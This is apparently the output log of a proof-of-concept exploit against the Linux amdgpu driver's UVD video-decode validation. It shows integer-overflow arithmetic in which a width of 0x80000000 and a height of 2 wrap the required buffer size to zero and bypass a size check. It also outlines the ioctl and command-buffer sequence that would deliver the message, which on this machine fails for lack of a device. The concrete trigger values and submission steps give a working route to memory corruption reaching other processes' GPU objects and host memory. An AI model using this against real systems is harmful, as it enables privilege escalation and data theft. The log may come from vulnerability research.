== Part A: amdgpu_uvd_cs_msg_decode() arithmetic replica ==
kernel computes with C 'unsigned' (u32) throughout:

[MPEG2 ] width=0x80000000 height=2
         image_size  = (0x80000000*2 + /2) mod 2^32, ALIGN1024 = 0
         min_dpb_size = image_size*3            = 0 (0x0)
         gate  amdgpu_uvd.c:686 'dpb_size < min_dpb_size' -> 0 < 0 = PASS (bypassed)
         pass2 amdgpu_uvd.c:833 gate sees buf_sizes[1]=dpb_size=0

[H265  ] width=0x80000000 height=2 msg[59]=0
         ALIGN(w,16)*ALIGN(h,16)*3/2 wraps -> image_size=0 -> min_dpb_size=0
         min_ctx_size  = 60928 (0xee00)

=> the UVD firmware receives a decode message declaring a
   2^31 x 2 stream with dpb/ctx buffers of validated size 0..N,
   while the validator believes them sufficient. UVD runs in
   PHYSICAL addressing (parser->job->vm = NULL, amdgpu_uvd.c:983),
   so firmware accesses beyond the dpb object land in adjacent
   VRAM/GTT slots -- i.e. other processes' GPU objects and, via
   GTT, host memory pages.

(for contrast, H264 width=8 height=2 hits the KNOWN DF-1595
 div-by-zero instead; this trigger deliberately uses MPEG2/H265
 which contain no division -- pure overflow bypass.)

== Part B: attempt UVD message submission ==
open(/dev/dri/renderD128): No such file or directory
open(/dev/dri/card0): No such file or directory

No DRM device on this machine: the amdgpu ioctl chain
(GEM_CREATE msg/dpb BOs -> GEM_VA map -> CTX_CREATE -> CS with
IB: PACKET0 DATA0/DATA1=msg_gpu_addr, CMD=decode(dpb_size=0,
w=0x80000000,h=2,stream_type=3), then dpb-buffer command)
cannot be exercised here. See VERDICT.md.

Part A completed (arithmetic proof). Part B not executable on this machine.
EXIT=2